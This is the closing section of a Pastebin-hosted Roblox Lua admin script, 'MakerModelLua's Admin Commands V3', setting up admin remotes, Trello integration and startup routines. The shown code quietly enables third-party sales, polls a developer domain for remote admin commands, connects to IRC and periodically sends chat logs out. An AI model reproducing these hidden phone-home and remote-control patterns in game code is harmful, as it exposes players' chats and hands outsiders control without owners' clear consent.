  9057. GUI:TellAdmin(Player)
  9058. end
  9059. end
  9060. end
  9061. end
  9062.  
  9063. RankPlayerServer.OnInvoke = function(Player, Rank)
  9064. if not RANK:IsAdmin(Player) then
  9065. PendingRequests[Player] = {Rank, tick()}
  9066. end
  9067. end
  9068.  
  9069. IsAdmin.OnServerInvoke = function(Player)
  9070. local IsFullAdmin = false
  9071. for _,PName in pairs(Settings.Ranks["Owner"]) do
  9072. if PName == Player.Name then IsFullAdmin = true end
  9073. end
  9074. for _,PName in pairs(Settings.Ranks["Admin"]) do
  9075. if PName == Player.Name then IsFullAdmin = true end
  9076. end
  9077. return IsFullAdmin
  9078. end
  9079.  
  9080. AddExploit.OnServerInvoke = CORE.AddExploit
  9081. AddExploitServer.OnInvoke = CORE.AddExploit
  9082.  
  9083. KickClient.OnServerInvoke = function(PlayerClient)
  9084. PlayerClient:Kick()
  9085. end
  9086.  
  9087. ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
  9088. return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
  9089. end
  9090.  
  9091. for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
  9092. Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
  9093. Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
  9094.  
  9095. coroutine.wrap(function()
  9096. for _,ID in pairs(Icons) do
  9097. game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
  9098. end
  9099. end)()
  9100.  
  9101. CORE:SetAbuseCommands()
  9102.  
  9103. coroutine.wrap(function() SOUND:SyncSoundList() end)()
  9104. if not IsStudio then coroutine.wrap(function()
  9105. if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
  9106. REMOTE:GetRemoteData(true)
  9107. REMOTE:CheckTrelloInfo()
  9108. coroutine.wrap(function()
  9109. if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
  9110. REMOTE.RemoteConnection = true
  9111. end
  9112. end)()
  9113. coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
  9114. coroutine.wrap(function()
  9115. if Settings.LinkedAccount ~= "" then
  9116. local Request = nil
  9117. ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
  9118. if Request then
  9119. REMOTE:HandleRequest(Request, true)
  9120. end
  9121. end
  9122. end)()
  9123. coroutine.wrap(function()
  9124. wait(RemoteData.RemoteAdminWait)
  9125. while REMOTE:GetAndSetWebData() do
  9126. wait(RemoteData.RemoteAdminWait)
  9127. end
  9128. end)()
  9129. coroutine.wrap(function()
  9130. while wait(60) do
  9131. REMOTE:GetRemoteData(true)
  9132. REMOTE:CheckTrelloInfo()
  9133. end
  9134. end)()
  9135. end)() end
  9136. coroutine.wrap(function()
  9137. if Settings.TrelloToken ~= "" then
  9138. ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
  9139. if #Trello.RequiredLists > 0 then
  9140. Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
  9141. if Trello.MainBoard.name then
  9142. local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
  9143. REMOTE:TrelloCacheData(Lists)
  9144. REMOTE:TrelloHandleData(true)
  9145. coroutine.wrap(function()
  9146. wait(RemoteData.TrelloWait)
  9147. while REMOTE:TrelloHandleData() do
  9148. wait(RemoteData.TrelloWait)
  9149. end
  9150. end)()
  9151. end
  9152. end
  9153. else
  9154. print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
  9155. end
  9156. end)()
  9157. coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
  9158. REMOTE:SendChatLog()
  9159. end end)()
  9160. coroutine.wrap(function() while true do
  9161. local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
  9162. if ThisDate then Date = ThisDate end
  9163. wait(600)
  9164. end end)()
  9165.  
  9166. print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!